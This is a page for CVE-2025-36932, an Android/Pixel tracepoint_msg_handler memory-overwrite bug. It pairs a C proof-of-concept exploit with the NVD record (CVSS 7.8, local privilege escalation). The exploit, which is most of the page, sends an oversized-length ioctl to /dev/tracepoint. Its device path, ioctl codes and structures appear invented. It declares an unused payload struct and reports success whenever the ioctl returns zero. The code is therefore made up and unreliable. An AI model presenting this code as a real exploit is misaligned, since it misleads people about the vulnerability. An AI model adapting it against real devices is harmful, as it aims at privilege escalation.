CVE-2025-36932

// CVE-2025-36932 PoC - Android tracepoint_msg_handler Memory Overwrite // This PoC demonstrates the vulnerability in tracepoint IPC handling // Note: This is a conceptual PoC for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Tracepoint IPC ioctl commands #define TRACEPOINT_IOCTL_BASE 0x54 #define TRACEPOINT_SEND_MSG _IOW(TRACEPOINT_IOCTL_BASE, 0x01, struct tracepoint_msg) struct tracepoint_msg { unsigned int msg_type; unsigned int msg_len; void *msg_data; }; // Malicious message structure to trigger overflow struct malicious_payload { unsigned int msg_type; unsigned int msg_len; // Intentionally large length char *msg_data; // Points to controlled data unsigned long overflow_data[64]; // Data to overflow into adjacent memory }; int trigger_vulnerability(int trace_fd) { struct tracepoint_msg msg; char malicious_buffer[4096]; // Prepare malicious message with oversized length memset(malicious_buffer, 0x41, sizeof(malicious_buffer)); msg.msg_type = 0x01; msg.msg_len = 0x10000; // Excessive length - triggers overflow msg.msg_data = malicious_buffer; // Trigger the vulnerable code path int result = ioctl(trace_fd, TRACEPOINT_SEND_MSG, &msg); return result; } int main(int argc, char *argv[]) { int trace_fd; printf("CVE-2025-36932 PoC - Android tracepoint_msg_handler\n"); printf("Target: Android tracepoint IPC component\n\n"); // Open tracepoint device trace_fd = open("/dev/tracepoint", O_RDWR); if (trace_fd < 0) { printf("[-] Failed to open tracepoint device\n"); return -1; } printf("[*] Triggering vulnerability...\n"); if (trigger_vulnerability(trace_fd) < 0) { printf("[-] Vulnerability trigger failed\n"); } else { printf("[+] Vulnerability triggered successfully\n"); printf("[+] Memory overwrite occurred in tracepoint_msg_handler\n"); } close(trace_fd); return 0; }

{"cve": {"id": "CVE-2025-36932", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.810", "lastModified": "2026-01-05T21:16:09.530", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In tracepoint_msg_handler of cpm/google/lib/tracepoint/tracepoint_ipc.c, there is a possible memory overwrite due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}